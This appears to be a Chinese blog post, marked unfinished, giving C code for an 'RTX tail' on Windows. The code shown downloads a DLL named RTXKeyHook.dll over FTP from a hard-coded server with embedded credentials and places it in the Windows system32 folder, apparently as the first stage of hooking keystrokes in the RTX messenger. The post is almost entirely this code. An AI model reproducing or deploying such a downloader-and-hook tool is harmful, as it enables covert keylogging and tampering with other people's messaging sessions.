简单实现windows下RTX尾巴(中)(c语言)

rtxtail.c
#include <windows.h>
#include <stdio.h>
#include <wininet.h>
#include <process.h>
#pragma comment(lib, "WININET.LIB")

HWND hLast;
char m_store[MAX_PATH];
const char *hookedName = "HOOKED RTX";
const char *unhookedName = "UNHOOKED RTX";

//down load hook dll using ftp way
BOOL DownloadHookDll()
{
	BOOL bSuccess;
	HINTERNET hIntSession;
	HINTERNET hFtpSession;

	char szAppName[] = "rtxkeyhook";
	char szServer[] = "192.168.101.225";
	char szUser[] = "qpid";
	char szPwd[] = "qpid";
	char szDirectory[] = "/home/qpid/mydll";
	char szFile[] = "RTXKeyHook.dll";
	char szCurDir[MAX_PATH];
	char szNewFile[] = "c:\\windows\\system32\\RTXKeyHook.dll";
	DWORD dwCurDir = MAX_PATH;

	printf("try to open intSession...\n");
	hIntSession = InternetOpen(szAppName, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	if(hIntSession == NULL) 
	{
		printf("can not open intSession!\n");
		return FALSE;
	}
	printf("intSession is open!\n");
	
	printf("try to open ftpSession...\n");
	hFtpSession = InternetConnect(hIntSession, szServer, INTERNET_DEFAULT_FTP_PORT, szUser, szPwd, INTERNET_SERVICE_FTP, 0, 0);
	if(hFtpSession == NULL) 
	{
		InternetCloseHandle(hIntSession);
		printf("can not open ftpSession!\n");
		return FALSE;
	}
	printf("ftpSession is open!\n");

	ZeroMemory(szCurDir, sizeof(szCurDir));
	FtpGetCurrentDirectory(hFtpSession, szCurDir, &dwCurDir);
	printf("current dir is %s .\n", szCurDir);

	printf("try to set current directory...\n");
	bSuccess = FtpSetCurrentDirectory(hFtpSession, szDirectory);
	if(!bSuccess)
	{
		InternetCloseHandle(hFtpSession);
		InternetCloseHandle(hIntSession);
		printf("can not set directory!\n");
		return FALSE;
	}
	printf("set directory ok!\n");

	printf("try to get file...\n");
	FtpGetFile(hFtpSession, szFile, szNewFile, TRUE, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);

	InternetCloseHandle(hFtpSession);
	InternetCloseHandle(hIntSession);

	return TRUE;
}


未完。

你可能感兴趣的:(c)